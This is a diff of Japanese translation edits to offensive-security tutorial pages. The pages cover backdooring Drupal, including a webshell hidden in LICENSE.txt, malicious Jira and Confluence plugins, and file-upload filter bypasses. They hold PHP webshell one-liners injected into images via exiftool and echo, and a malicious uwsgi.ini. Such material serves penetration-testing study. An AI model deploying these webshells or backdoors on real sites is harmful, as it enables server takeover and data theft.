* ウェブサイトに**管理者アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`+ 新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例: `http://drupal-site.local/admin/modules/install`)に移動します。バックドア付きのCaptchaアーカイブに移動し、**`インストール`**をクリックします。
|
||||
* インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。
|
||||
|
||||
## 設定同期によるDrupalのバックドア <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
@ -93,15 +93,15 @@ _拡張_メニュー(/admin/modules)では、すでにインストールさ
|
|||
|
||||
有効化前:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
有効化後:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### パート2(機能_設定同期_の活用) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
### パート2(_設定同期_機能の活用) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
_設定同期_機能を活用して、Drupalの設定エントリをダンプ(エクスポート)およびアップロード(インポート)します:
|
||||
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
に:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**パッチ field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -192,17 +192,17 @@ php_flag engine on
|
|||
php_flag engine on
|
||||
</IfModule>
|
||||
```
|
||||
なぜこのトリックはクールなのか?
|
||||
なぜこのトリックがクールなのか?
|
||||
|
||||
WebサーバーにWebshell(LICENSE.txtと呼ぶ)をドロップすると、`$_COOKIE`を介してコマンドを送信でき、Webサーバーログにはテキストファイルへの正当なGETリクエストとして表示されます。
|
||||
|
||||
なぜWebshellをLICENSE.txtと名付けるのか?
|
||||
|
||||
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)(これはDrupalコアにすでに存在するファイル)を取ると、339行でサイズは17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。
|
||||
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)のようなファイルを取ると(これはDrupalコアにすでに存在します)、339行でサイズが17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ファイル: パッチ済みLICENSE.txt
|
||||
ファイル: 修正されたLICENSE.txt
|
||||
```txt
|
||||
|
||||
...
|
||||
|
@ -253,17 +253,17 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
最後の部分は、Webshell と対話することです。
|
||||
最後の部分は、Webshell とのインタラクションです。
|
||||
|
||||
以下のスクリーンショットに示されているように、Webshell が期待するクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
攻撃者がクッキーを設定すると、Webshell と対話し、任意のコマンドを実行できます。
|
||||
攻撃者がクッキーを設定すると、Webshell とインタラクションし、任意のコマンドを実行できます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ログに表示されているように、要求されたのはテキストファイルだけのようです。
|
||||
ログに示されているように、要求されたのはテキストファイルだけのようです。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
|
||||
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Check Privileges
|
||||
## 権限の確認
|
||||
|
||||
Jiraでは、**権限は**認証されたユーザーでも認証されていないユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。
|
||||
Jiraでは、**権限は任意のユーザーによって確認できます**。認証されたユーザーでも非認証のユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。
|
||||
|
||||
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントには**'permission'パラメータ**を含める必要があります。この要件は、照会される権限を指定することにより**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが要求されました。この要件は、照会される権限を指定することによって**セキュリティを強化**することを目的としています:[ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -69,7 +69,7 @@ Jiraでは、**権限は**認証されたユーザーでも認証されていな
|
|||
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||
* WORK\_ON\_ISSUES
|
||||
|
||||
Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
例: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
```bash
|
||||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
|
@ -112,13 +112,13 @@ public BodyType getBodyType() { return BodyType.NONE; }
|
|||
public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||
}
|
||||
```
|
||||
これらのプラグインは、XSSのような一般的なウェブ脆弱性に対して脆弱である可能性があることが観察できます。例えば、前の例はユーザーから提供されたデータを反映しているため脆弱です。 
|
||||
これらのプラグインは、XSSのような一般的なウェブ脆弱性に対して脆弱である可能性があることが観察できます。たとえば、前の例はユーザーから提供されたデータを反映しているため脆弱です。 
|
||||
|
||||
XSSが見つかった場合、[**このgithubリポジトリ**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)には、XSSの影響を増加させるためのペイロードがいくつかあります。
|
||||
|
||||
## バックドアプラグイン
|
||||
|
||||
[**この投稿**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)では、悪意のあるJiraプラグインが実行できるさまざまな(悪意のある)アクションについて説明しています。[**このリポジトリにコード例があります**](https://github.com/cyllective/malfluence)。
|
||||
[**この投稿**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)では、悪意のあるJiraプラグインが実行できるさまざまな(悪意のある)アクションについて説明しています。[**このリポジトリのコード例**](https://github.com/cyllective/malfluence)を見つけることができます。
|
||||
|
||||
悪意のあるプラグインが実行できるアクションのいくつかは次のとおりです:
|
||||
|
||||
|
@ -126,12 +126,10 @@ XSSが見つかった場合、[**このgithubリポジトリ**](https://github.c
|
|||
* **添付ファイルとページの抽出**:すべてのデータにアクセスし、抽出を許可します。
|
||||
* **セッショントークンの盗難**:レスポンス内のヘッダー(クッキーを含む)をエコーするエンドポイントを追加し、それに連絡してクッキーを漏洩させるJavaScriptを追加します。
|
||||
* **コマンド実行**:もちろん、コードを実行するプラグインを作成することが可能です。
|
||||
* **リバースシェル**:またはリバースシェルを取得します。
|
||||
* **リバースシェル**:リバースシェルを取得することもできます。
|
||||
* **DOMプロキシング**:Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーコマンドを実行することが可能です。
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。
|
||||
|
||||
|
@ -145,8 +143,8 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -63,14 +63,14 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. **有効な拡張子の前にexec拡張子を置いて**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
|
||||
* _例:file.php.png_
|
||||
* _例: file.php.png_
|
||||
7. **WindowsのNTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、他の技術を使用して後で編集することができます。短いファイル名を使用することができます。「**::$data**」パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例:「file.asp::$data.」)
|
||||
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
|
||||
8. ファイル名の制限を破ることを試みてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linuxの最大255バイト
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||||
# ファイルをアップロードし、どれだけの文字を許可するか応答を確認します。236としましょう
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
@ -78,38 +78,38 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Content-Type、マジックナンバー、圧縮&リサイズのバイパス
|
||||
### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス
|
||||
|
||||
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します:_image/png_、_text/plain_、_application/octet-stream_
|
||||
1. Content-Type **ワードリスト**:[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します:_image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` または、画像内にペイロードを**直接挿入**することもできます:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**を使用して、圧縮に耐えるテキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
* ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク**を使用して、圧縮に耐えるテキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
* 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**を使用して、圧縮に耐えるテキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
* **圧縮が画像に追加されている場合**、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* ウェブページは、たとえばPHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用して**画像をリサイズ**することもできます。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* 画像のリサイズを**生き残る**ペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### その他のチェックするトリック
|
||||
|
||||
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つける(拡張子を変更するため)。
|
||||
* **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行する。
|
||||
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つける。
|
||||
* バックドアを実行するための**ローカルファイルインクルージョン**脆弱性を見つける。
|
||||
* **情報漏洩の可能性**:
|
||||
1. **同じファイル**を**同時に**何度もアップロードする
|
||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードする
|
||||
3. **「.」、「..」、または「…」を名前に持つファイルをアップロードする**。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||
1. **同じファイル**を**同時に**何度もアップロードする。
|
||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードする。
|
||||
3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードする。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||
4. **NTFS**で簡単に削除できないファイルをアップロードする(例:**「…:.jpg」**)。(Windows)
|
||||
5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードする。(Windows)
|
||||
6. **予約された**(**禁止された**)**名前**(例:CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9)を持つファイルを**Windows**にアップロードする。
|
||||
* また、**実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することを試みてください。
|
||||
6. **予約された**(**禁止された**)**名前**(例:CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を使用してファイルを**Windows**にアップロードする。
|
||||
* **実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することも試みてください。
|
||||
|
||||
### 特殊な拡張子のトリック
|
||||
|
||||
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
||||
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
||||
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりすることができます...)。
|
||||
|
||||
|
@ -117,7 +117,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
## **Jetty RCE**
|
||||
|
||||
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warが自動的に処理されるため、RCEを取得できます**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像で述べたように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
||||
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warが自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像で述べたように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||
|
||||
|
@ -125,7 +125,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
|
|||
|
||||
この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、「exec」スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
||||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、「exec」スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
||||
|
||||
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
|
||||
```ini
|
||||
|
@ -191,25 +191,25 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す\*\*\*\*
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す
|
||||
* [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
* [**XXEとCORS**バイパス with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* 特別に作成されたPDFでXSS: [次のページは**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します
|
||||
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します
|
||||
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* 特別に作成されたPDFでXSS: [次のページは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認する
|
||||
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認する
|
||||
|
||||
以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webシェル / RCE
|
||||
2. **SVG**: ストアドXSS / SSRF / XXE
|
||||
3. **GIF**: ストアドXSS / SSRF
|
||||
2. **SVG**: ストレージXSS / SSRF / XXE
|
||||
3. **GIF**: ストレージXSS / SSRF
|
||||
4. **CSV**: CSVインジェクション
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
|
||||
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
|
||||
9. **ZIP**: LFIを介したRCE / DoS
|
||||
9. **ZIP**: LFI経由のRCE / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp拡張
|
||||
|
@ -308,17 +308,17 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
|
|||
|
||||
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
|
||||
|
||||
